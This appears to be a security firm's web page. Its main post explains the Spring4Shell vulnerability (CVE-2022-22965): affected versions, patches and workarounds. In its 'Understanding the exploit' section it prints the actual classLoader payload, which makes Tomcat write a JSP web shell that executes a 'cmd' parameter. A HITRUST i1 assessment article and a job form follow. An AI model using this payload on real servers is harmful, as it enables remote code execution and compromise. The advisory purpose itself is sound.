Spring4Shell

Last week a Remote Code Execution vulnerability was disclosed in Spring. Spring is an open-source application framework that provides infrastructure support for creating Java applications that can be deployed on servers as independent packages. Approximately, 70 percent of all Java applications use it.

What is CVE-2022-22965?

CVE-2022-22965 was assigned to the vulnerability and is considered critical as it can result in an RCE. RCE vulnerabilities will allow a malicious actor to execute custom code of choice on the machine. The vulnerability was named after the previous infamous log4shell vulnerability, spring4shell.

The vulnerability was first reported to VMWare on March 29th, 2022 after which VMWare informed this to the spring team. On the next day, Spring started the vulnerability response procedure. It was during this process, that the vulnerability was leaked to the public and exploitation began in the wild.

Are you affected?

For the application to be vulnerable, several requirements are to be matched as laid out by Spring.

  1. JDK version 9+
  2. Apache Tomcat for serving the application
  3. Spring-webmvc or spring-webflux dependency
  4. Spring Framework versions 5.3.0 to 5.3.17 and 5.2.0 to 5.2.19 and older versions.
  5. Application built as a WAR file
  6. Certain REST API which will process user input.

What is Spring4Shell?

public class Greeting {

private String message;

public String getMessage() {
               return message;
               }

public void setMessage(String message) {
               this.message = message;
               }
}

@Controller
public class HelloController {

@PostMapping(“/greeting”)

               public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {
 
               return “hello”; 
            }
}

Above is a modified code from
https://github.com/reznok/Spring4Shell-POC/tree/master/src/main/java/com/reznok/helloworld

From the above code, we can understand the application is expecting the **message** value in the post request. The vulnerability will occur when instead of supplying a value of to the **message** parameter the user supplies POJO (Plain Old Java Object).

Further, using classLoader to dynamically load classes into JVM. With the help of classLoader we reconfigure Tomcat to write logs to a new file which will be an executable JSP file.

Understanding the exploit

This exploit can be found on https://github.com/reznok/Spring4Shell-POC

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{prefix}i
java.io.InputStream in = %{c}i.getRuntime().exec(request.getParameter(“cmd”)).getInputStream();
int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } %{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

Following is a detailed explanation of each line:

  1. module.classLoader.resources.context.parent.pipeline.first.pattern – This contains the pattern of the log file in which it will be written to the disk. The attacker would specify a malicious code which would be executed when the page has been visited.
  2. module.classLoader.resources.context.parent.pipeline.first.suffix – Will contain the log file extension.
  3. module.classLoader.resources.context.parent.pipeline.first.directory – The location of the log file to be written. For tomcat dev environments webapps/ROOT will be the default root folder of the webserver, however, it can differ if the administrator has decided to change the directory.
  4. module.classLoader.resources.context.parent.pipeline.first.prefix – Will contain the name of the log file.
  5. module.classLoader.resources.context.parent.pipeline.first.fileDateFormat – Will contain the date/time format of the log, keeping it blank reduces the junk output.

What is the impact of Spring4shell?

To replicate the vulnerability, we hosted a container in docker with the vulnerable version of spring framework. Then, we ran the exploit.py script: python exploit.py –url http://localhost:8080/helloworld/greeting

A web shell was created and we enumerated the id by modifying the cmd parameter, which confirms the remote code execution.

How to mitigate?

A patch is now available as of March 31st, 2022 in the recently published Spring versions 5.3.18 and 5.2.20. We recommend all users update to the latest version.

  • To upgrade in Maven, add the following code in the POM file:

<properties>
<spring-framework.version>5.3.18</spring-framework.version>
</properties>

  • In Gradle:

ext[‘spring-framework.version’] = ‘5.3.18’

Spring also released several workarounds such as:

  1. Upgrading Apache Tomcat to 10.0.20, 9.0.62, or 8.5.78.
  2. Downgrading to Java 8 if you can neither upgrade the Spring Framework nor upgrade Apache Tomcat.
  3. Another viable workaround is to disable binding to particular fields by setting disallowedFieldson WebDataBinder

How can Accorian help to identify if your organization is vulnerable to Spring4Shell?

The Spring4Shell vulnerability is a high-impact vulnerability on a system that uses vulnerable versions of Spring. Accorian is continuously monitoring the situation and can aid in identifying the vulnerabilities in your infrastructure by running specific commands and scripts. Write to us at info@accorian.com if you need us to test your infrastructure for Spring4Shell.

HITRUST® introduces the leaner version of the Validated HITRUST Assessment – The Implemented, 1-Year (i1) Validated Assessment + Certification

This release is specifically designed to address the need for emerging cyber threats.

HITRUST, recently, announced the implementation of a new annual Assessment + Certification, the i1. This release is specifically designed to address the need for a continuously relevant cybersecurity assessment that leverages the latest threat intelligence, to maintain information security risks and emerging cyber threats, such as ransomware and phishing.

The original HITRUST Validated Assessment, now dubbed the r2, has been highly touted as the “Gold Standard” for information security assurances. The HITRUST Risk-based, 2-Year r2 Validated Assessment + Certification uses the HITRUST CSF® cybersecurity framework to unify and harmonize controls from many regulatory and industry frameworks, including HIPAA, GDPR, and PCI-DSS. The HITRUST CSF often considered as a sort of “one framework to rule them all”, and organizations that implement a properly scoped HITRUST r2 Assessment can include more than 40 authoritative sources to conform to a variety of cybersecurity regulations and standards. The HITRUST a 2-year risk-based and tailorable assessment, which continues to provide the highest level of assurance for situations with greater risk exposure due to data volumes, regulatory compliance, or other risk factors.

The new HITRUST Implemented, 1-Year (i1) Validated Assessment + Certification is the first information security assessment of its kind with attributes that are not available through other assurance programs. The design and selection of the controls puts it in a new class of information security assessment that is threat adaptive and is designed to maintain relevance over time as threats evolve and new risks emerge while, retiring controls no longer deemed relevant.

The HITRUST i1 Assessment is:

  • Designed to maintain relevant control requirements to mitigate existing and emerging threats providing updates as new threats are identified. It is threat-adaptive, prescriptive, and focused on controls relevant to risk.
  • Designed to sunset controls that have lost relevance and have limited assurance value based on the effort required to comply or assess.
  • Designed to deliver a higher level of reliability over other moderate assurance options because of its unique controls selection and assurance program design.

The HITRUSTi1 Validated Assessment + Certification is a “best practices” assessment that consists of 219 pre-selected controls. It was designed around relevant information security risks and emerging cyber threats and provides coverage for numerous standards, such as NIST 800-171, GLBA Safeguards Rule, HIPAA Security Rule, and Health Industry Cybersecurity Practices (HICP). Although the HITRUST i1 is a leaner version of the r2, the evaluation process is still incredibly rigorous and provides the same credibility associated with the original HITRUST Assessment. To better understand the breadth of the r2 assessment in comparison to the i1, let’s look at the five maturity levels tested in an r2 assessment:

  • Policy– Detail management’s requirements for the organization and in=scope systems
  • Procedures– Document the organization’s methods for implementing policies
  • Implemented– Demonstrate how the organization implemented policies and procedures
  • Measured– Demonstrate how the organization evaluates its program
  • Managed– Demonstrate how the organization continuously manages risk

While some organizations may feel that the i1 does not provide the same level of assurance as the r2, There are many benefits to be gained with the i1 given its threat adaptive approach paired with an annual assessment cycle. The HITRUST i1 concentrates solely on the implemented PRISMA maturity level, thus limiting the scope of assessment and helping reduce the preparation required. The i1 takes into account specific “Evaluative Elements” designed to confirm the full implementation of each control and allows an organization to be scored solely on the level of their implementation.

i1 assessments can also be used as either a readiness assessment (identification and remediation report) or a validated assessment (requirements check and official certification). It’s recommended that every organization start with a readiness assessment to get a detailed report on your organization’s cybersecurity posture and remediation requirements before performing a Validated i1 Assessment. This is important in finding vulnerabilities within your organization as it allows you to complete any recommended remediations before the HITRUST Q&A team conducts the validated assessment.

Accorian is a full-service security service provider organization with many years of experience providing data security compliance, information security program implementation, and testing services. As an authorized HITRUST CSF Assessor, Accorian has Certified HITRUST Practitioners and advisors with the expertise to provide the guidance and knowledge your organization requires to successfully complete a HITRUST Validation or Certification. With our HITRUST compliance services, our qualified security advisors can get you started with scoping for your assessment and facilitating the self-assessment process to reduce the cost, time, and resources.

As your organization adopts new technology, we can help with a HITRUST Assessment to streamline information security compliance as part of the implementation process. Additionally, we can help you maintain compliance from year to year by monitoring required tasks completion and performing a myriad of third-party services required for vulnerability testing and reviews.

We are here if you need us.

    Ready to Start?



      Download Case study




        Download Guide




        Human Resources Director

        Posted On: 09 May, 2022

        Drop your CVs to joinourteam@accorian.com

          Interested Position

          First Name

          Last Name

          Email

          Total Experience

          Mobile Number

          Upload Resume